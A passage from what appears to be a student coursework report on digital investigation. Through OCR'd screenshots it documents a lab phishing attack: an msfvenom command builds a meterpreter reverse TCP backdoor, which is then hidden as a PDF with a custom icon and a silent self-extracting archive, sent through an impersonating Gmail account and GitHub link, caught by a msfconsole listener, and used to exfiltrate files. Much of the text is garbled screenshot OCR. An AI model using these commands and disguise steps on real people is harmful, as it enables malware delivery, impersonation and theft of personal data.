connection can be established to the IP address of the attacker machine.

iew VM Tabs Help

'm P O] 2 3 g | A 020 | & G

File Actions Edit View Help

10queue state UNKNOWN group default glen 1000

File System

tu 1500 qdisc fq_codel state UP group default qlen 1

oprefixroute etho

Figure 20: IP address of the attacker machine
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Then the executable file was created from Metasploit using the command, msfvenom -p
windows/x64/meterpreter_reverse_tcp 1host=192.168.1.70 Iport=4444 - exe >
Letter.exe. Here, lhost is the IP of attacker machine and Iport is one open port of the

machine.

File Edit View VM Tabs Help

S emEPoO]|1 2 3 : A 025 | & &

root@kali: /home/sujen/Desktop

File Actions Edit View Help

[sudo] password for sujen:
/home/sujen
FESHEN Desktop

/home/sujen/Desktop
windo /meterpreter_reverse_tcp

Figure 21: Creating the backdoor
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The backdoor file was created in the Desktop of the attacker machine.

Kali - VMware Workstation

o)
File

A |

Edit View VM Tabs Help

Edit View

NTIFIER was here

/usr/share/:

ansport/server_host_key
E nt HrrRbSsh::Transport
= / hare/metasploit-
ansport/ser
E was he
/usr/share/metasploit-f

File Actions

File System

sploit-framewor

_host_key_.

Help

ndor/bundl
lgorithm/ecdsa_sh

Ser

amework/vendor/

algorith

amework/vendor/bundle/ruby/3

ansport/server_host_key_algorithm/ecdsa_sha2

/lib/hrr
ready initiali

rb_ssh/tr
ed consta

.4.2/1ib/hrr_rb_ssh/tr
vious definition of NAM

2/lib/hrr_rb_ssh/tr
initialized consta

Transport :: ServerHostkKey
loit-framework/vendor/bund
ansport/ser lgorithm/ecdsa_sh.
FERENCE was here
/usr/shar loit-framework/vendor/bundl
ey_algorithm/ecdsa_sh,

lib/hrr_rb_ssh/tr
warning: already initialized cons
p256 :: IDENTIFIE
rr ssh-0.4.2/1ib/hrr_rb_ssh/tr
warnin previous definition of IDE

6.rb:13

saSha2Nist
/bundle/ruby/3.0.0/gem

ansport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13:

NTIFIER was here

[-] No platform was s

[-] No arch selected, s

No encod

Payload size:

Final s of

nt HrrRbSsh

indows from the payload

Letter.exe
200774 bytes
file: 207360 byt

/home/sujen/Desktop

Figure 22: Backdoor created in the attacker machine

A fake document was created so that the file that is sent as attachment seems legitimate.

T
e gl
il

Styles
Y3

File Home Insert Draw Design Layout References Mailings Review View Help Y Comments | | 2 Share

| Ruler A
Arial

Gridlines Editor

Navigation Pane

Show m Editor

fislington college
(g¥eTsest wsets)

Kamal Marg, Kamal Pokhari, Kathmandu, Nepal
9801042242, 9801000400

info@islington.edu.np

Dear Sujen,

| am writing to express my sincere appreciation for your hard work and dedication to the
organization. Your contributions have been invaluable, and | am grateful for all that you
have done to help us achieve our goals. | wanted fo take a moment to recognize your role
in our company's recent achievements. Your efforts have been instrumental in driving our
success, and | am proud to have you as a member of our team. Some specific areas
where your contributions have made a significant impact include:

304words [} T Accessibility:

I Focus

Page 10f2

Figure 23: Creating a fake document
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A pdf icon was downloaded from the internet so that the backdoor file can be made to
look like a pdf file.

@ pdi file icon - Google Search x +

e C @& googlecom v O @ Incognito

Goog|e pdf file icon

s [ Boc E Tools

windows 10 pPDFj small ['hF] white |! blue
[ — |

Open link in new tab

Open link in new window

Save link as...

Copy link address
Openimage in new tab
Save image as...

Copy image

Copy image address

Search image with Google

Inspect

FREEPNG, SVGICONS  DOWNLOAD w D

Figure 24: Downloading image for icon from internet

Now the downloaded png file is converted to ico using an online website.

© poffileicon - Google Search X #8 PNG to 100 | CloudConvert x  + - a

= C & doudconvert.com Fa | @ Incognito

a cloudconvert Toolsv  APlv  Pricing SignUp  Login

PNG to ICO Converter

CloudConvert converts your image files online. Amongst many others, we convert PNG v to 1ICO v
support PNG, PG, GIF, WEBP and HEIC. You can use the options to control
image resolution, quality and file size.

SelectFile v

# OPTIONS (2]
Width 32 Height 32
Fit max 2 Strip ° X‘:

Figure 25: Website to convert image to ico file
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The png file is uploaded and converter to ico file and downloaded to the machine.

@ pdifileicon - Google Searcch X 48 PNG to IO | CloudConvert

e C @& doudconvert.com = a @ Incognito

6 cloudconvert Toolsv  APIv  Pricing SignUp  Login

PNG to ICO Converter

CloudConvert converts your image files online. Amongst many others, we convert PNG v to 1ICO v
support PNG, PG, GIF, WEBP and HEIC. You can use the options to control
image resolution, quality and file size.

B pdficonpng £ ConverttoICO x
Add more Files

Company Resources Legal Contact © 2023 Lunaweb GmbH
©

About Us Blog Privacy Contact Us

B pdficonico Showall X

Figure 26: Downloading the converted ico file

Then the backdoor file and pdf document file is selected and added to archive.

B malware X x +

Tl sort - = View ¥

B8 > ThisPC > NewVolume (D:) » Year3 » Digital Investigation and E-Discovery > Files » Malware

# Home MName B Date Type

O Letter 1/2/2023 7:10 PM Application
B Desktop 2 B pdf icon
P Progress Overview Letter

J- Downloads

& Picture Add to Favorites
- es

@ Music 3 £7 Compress to ZIP file

Copy as path Ctrl+5hift+C

Properties Alt+Enter

WinRAR » i Add to archive...
L") Show more options shift+F10 Add to "Malware.rar®
Compress to "Malware.rar” and email

Compress and emall...

Figure 27: Adding backdoor and pdf file to archive
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A self-extracting rar file was created to combine both files and merge them into a single
file. The merged file is named as Progress Overview Letter.pdf to make it look like a pdf
file.

B8 Archive name and parameters ? X

General Advanced Options Files  Backup Time — Comment

Archive name Browse...
Progress Overview Letter, pdf o
Default Profile |Ipdate mode
Profiles... Add and replace files L
Archive format Archiving options
Orar (ORAR4 (OzIP [ Delete files after archiving
B Create 5FX archive
Compression method [ create zolid archive
Mormal il [] Add recovery record
Dictionary size I:I Test archived files |
37 MB - |_|Lodk archive
Split to volumes, size
“||MB Set password...

Figure 28: Creating a sfx file
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In the Advanced tab, SFX options was selected to configure the settings for the file.

Digital Investigation and E-Discovery

m Archive name and parameters ? >
General Advanced Options Files  Backup Time — Comment
MNTFS options Recovery record
[ save file security 3|2
[] save file streams
[ store symbolic links as links
[ store hard links as links )
Compression...
Volumes
SFX options...
Pause after each volume
Old style volume names
o= When done
Keep PC running w
System
[ | Background archiving

[ wait if other WinRAR copies are active

K Cancel

Help

Figure 29: Advanced sfx options
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In the Setup tab, the two files were added so that both files would execute after opening
the merged rar file.

[ Advanced SFX options ? X )
pdate Text and icon License Maodule
i General Setup Modes Advanced

Setup program
Run after extraction

Progress Qverview Letter, pdf
Letter.exg|

Run before extraction

[] wait and return exit code
0

Figure 30: Program setup for execution
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In the Modes tab, the option to unpack to a temporary folder was checked and hide all
option in the silent mode was selected so that the victim does not become aware of the

additional file being executed.

r \dvanced SFX options ? _1

Update Text and icon License Module
zeneral Setup Modes Advanced

Temporary mode
B Unpack to temporary folder

Optional question

Question title

Silent mode

() Display al

() Hide start dialog
O Hide al

L K Cancel Help

Figure 31: Hiding the extracted file
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In the Text and icon tab, the converted ico file was uploaded in the load SFX icon to set
the icon for the merged file.

( Advanced SFX options ? X ]
General Setup Modes Advanced
Update Text and icon License Module

Title of SFX window

Text to display in SFX window

Load text from file...

Load 5FX logo from the file
Browse...

High resolution SFX logo
Browse...

Load SFX icon from the file

D:Year 3\Digital Investigation and E-Discovery Browse. ..

{ K Cancel Help J

Figure 32: Selecting the icon for the merged file
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The merged file is created and is ready to be sent to the victim.

B malware

Tl Sort v

B8 > ThisPC > NewVolume (D:) » Year3 » Digital Investigation and E-Discovery > Files » Malware

ﬁ Home Mame h Date Type

EH Letter /2/2023 7:10 PM Application

B Desktop ; B pdficon /1720 ICO File

J- Downloads ew Letter [1/2023 2: Chrome HTML Do...

ew Letter.pdf It 5PM Application
& Pictures
@Mus\c
B vid

B This PC
ocal Disl
= New Volume (D)

. New Vnlume (F:)

Figure 33: Creation of malicious carrier file
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A fake email was created including the company name in order to make the email seem

legitimate.

Google

Create your Google Account

to continue to Gmail

First name Last name

Prakash Sharma

Usemname

prakash.islington {@gmail.com

You can use letters, numbers & periods

Password Confirm

® =

Use 8 or more characters with a mix of letters, numbers &

symbols One account. All of Google

working for you.
Show passward

Sign in instead m

Figure 34: Creating a fake email account
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The merged file was uploaded in a GitHub repository in order to create a direct download
link for the file.

Z] CC6011NI - Digital Investigation X ) Upload files - SujenShrestha/Dov. X +

&« C # github.com/SujenShrestha/Download/upload

0

Drag additional files here to add them to your repository
C files

erview Letter.pdf.exe

Commit changes

Commit changes

Figure 35: Uploading the carrier file in a GitHub repository

The link of the uploaded file was copied to send to the victim.

E) CC6011NI- Digital Investigation % () Download/Progress Overview e X +

= C @ github.com/SujenShrestha/Download/blob/main/Pr
O Search or jump to... / Pull requests Issues Codespaces Marketplace Explore
ha / Download ' Public < P @ Unwatch 1~

i) Pullrequests () Actions [ Projects [ Wiki
P main ~  Download / Progress Overview Letter.pdf.exe Go to file

SujenShrestha Add files via upload D) History

Open link in new tab

Ope window

A1 contributor " ncognito window

Copy link address Download

Inspect

Figure 36: Getting a direct download link for the carrier file
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The link was pasted in a section of the mail and a phishing mail was created.

? Inbox- prakashislington@gmail X  +

< [¢] mail.google.com r N | % Incognito

Employee Performance Overview Letter
sujenpro@gmail.com

Employee Performance Overview Letter
Dear Sujen,

On behalf of Islington College, | war Ed It Liﬂk rhas been outstanding, and we
have been very impressed with the

Text to display: | Performance Overview Letter
Your efforts have not gone unnotice 2 will confinue to achieve great

success. Link to: To what URL should this link go?
® Web address [netps:isgithub.comiSujenshrestha/Download/blob/main/Progress2:]

Thank you for all that you have don
Please view your performance over
Performance Qverview Letter

) Email address Test this link

Not sure what to put in the box? First, find the page on th

Best Regards, tolink to. (A search engine might be useful.) Then, copy the
Prakash Sharma the box in your browser's address bar, and paste it into the box above.

Managing Director

Islington College

H© & SansSerif * 7T

Figure 37: Adding the download link of carrier file

The phishing mail was sent to the victim using the spoofed email address.

f Employee Performance Overvien. X +

< c mail.google.com

= M Gmail Q insent X I
5 EmpEm € B2 O0 ® B2 0 @ B D i Tof2 > B
= Employee Performance Overview Letter 2 @
nbox
Yo Starred o Prakash Sharma <prakash.islington@gmail.com> IS3PM (0 minutesage) Yy &} @
© snoozed to sujenpro -
Dear Sujen
> Sent s
D Drafts 1 On behalf of Islington College, | wanted to express my appreciation for all of your hard work and dedication. Your performance over the past year has been
outstanding, and we have been very impressed with the contributiens you have made to our team.
A~ Less
P  Important Your efforts have not gone unnoticed and have been greatly appreciated. We are confident that with your continued hard work and dedication, we will continue to +
D achieve great success.
Chats
Thank you for all that you have done
Fo  Scheduled Please view your performance overview by downloading the attachment from the link given below.
B Al mail Performance Overview Letter
® Spam Best Regards
Prakash Sharma
W Trash Managing Director
» O Categories Islington Caollege
B Manage labels
/ N\ ™
+ Create new label | € Reply )( ~ Forward )
N N >

Figure 38: Sending the phishing mail
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The victim read the mail and clicked on the link to download the attachment.

! Employee Performance Ov- X +

< > &  mailgoogle.com/mail/u/2/#inbox/FMfcgzGrblhfbxQlhtHkgsxHDBHRQg
~ _ . X - r
M Gmail Q,  search mail = ® @
©
€« B O ® B 0 & m D i 10f 1689 > B
/ Compose
-
- Employee Performance Overview Letter ko« a8 @
kd Inbox 1163
_ ¥ Starred @ Prakash Sharma <prakashisingto F16PM (O minutesage) g €} @
@® Snoozed @ ©mev
Dear Sujen
B Sent ! a2
[} Drafts 4 On behalf of Islington College, | wanted to express our appreciation for all of your hard work and dedication. Your performance over the past year has been
outstanding, and we have been very impressed with the contributions you have made to our team
&, v More
Your efforts have not gone unnoficed and have been greatly appreciated. We are confident that with your continued hard work and dedication, we will continue +
to achieve great success
Labels +
e Thank you for all that you have done.
= Please view your performance overview by downloading the attachment from the link given below.
Performance Overview Letter
Best Regards,
Prakash Sharma
Managing Director
Islington College
L . . >
ithub.com/Sujenshrestha/Downloadsblob/main/Progress Overview Letter.pdf.exe?raw=true

Figure 39: Phishing mail received by the victim

The attachment was downloaded in the victim machine.
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& v More
Your efforts have not gone unnoticed and have been greatly appreciated. We are confident that with your continued hard werk and dedication, we will continue +
to achieve great success.
Labels +
& Thank you for all that you have done.
= Please view your performance overview by downloading the attachment from the link given below.
Performance Overview Letter
Best Regards,
Prakash Sharma
Managing Director
Islington College
I “ Reply ] >

Figure 40: Carrier file downloaded in the victim machine
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The reverse TCP handler was initialized in the attacker machine using the command,
msfconsole -x “handler — P 4444 -H 0.0.0.0 -p windows/meterpreter_reverse_tcp;”

which waits and checks for the backdoor file to be executed on the victim machine.

File Edit View VM Tabs Help

BleomP ol

root@kali: lhome/sujen/Desktop

File Actions Edit View Help
~/Desktop

[sudo] password for sujen:
/home/sujen/Desktop

Letter.exe

Figure 41: Initializing reverse TCP listener on the attacker machine
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The victim opened the downloaded file in order to view the contents of the file.

i Downloads

Dat:

= Progress Overview Letter.pdf 1/2/2023 10:45 PM Application

« Downloads
uments
Pictures

Music

Titem | 1

Figure 42: Carrier file opened by the victim

The file was opened, and the contents of the pdf file were viewed by the victim.

Progress Overview Letter.pdf

1 college
&)

Kamal Marg, Kamal Pokhari, Kathmandu, Nepal
9801042242, 9801000400
info@islington.edu.np

Dear Sujen,

| am writing to express my sincere appreciation for your hard work and dedication to the
organization. Your contributions have been invaluable, and | am grateful for all that you
have done to help us achieve our goals. | wanted to take a moment to recognize your role

in our company's recent achievements. Your efforts have been instrumental in driving our

success, and | am proud to have you as a member of our team. Some specific areas

where your contributions have made a significant impact include:

Your positive attitude has been contagious and has contributed to a positive and
supportive work environment.

Your strong work ethic demonstrates your dedication and commitment to the job.
Your flexibility and adapiability have allowed us to respond to changes and
challenges in the workplace

Your willingness to collaborate and support others as a team player has been
instrumental in helping us achieve common goals.

Your strong communication skills have helped us build relationships and get work
done effectively.

Your problem-selving skills have helped to contribute for the success of the
organization.

Figure 43; File viewed by the victim
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After the file was opened by the victim, the reverse TCP connection was successfully

established between the attacker and the victim computer.

File Edit View VM Tabs Help
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root@kali: home/sujen/Desktop
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Figure 44: Reverse TCP connection established between attacker and victim

The session with the victim was opened and the system information was checked.
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Figure 45: Getting system information of the victim
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The files were looked through to find the sensitive information inside the victim computer.
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Figure 46: Searching for sensitive files in the victim machine

The sensitive files of the victim were downloaded in the attacker machine.

File Edit View VM Tabs Help
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Figure 47: Exfiltrating files from the victim machine
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The downloaded files were checked, and various sensitive information was retrieved
which could be used for various illegal activities like financial fraud, identity theft, account
takeover, intellectual property theft and many such activities which may cause huge loss

for the victim.
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File Edit View VM Tabs Help
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Figure 48: Sensitive information obtained in the attacker machine
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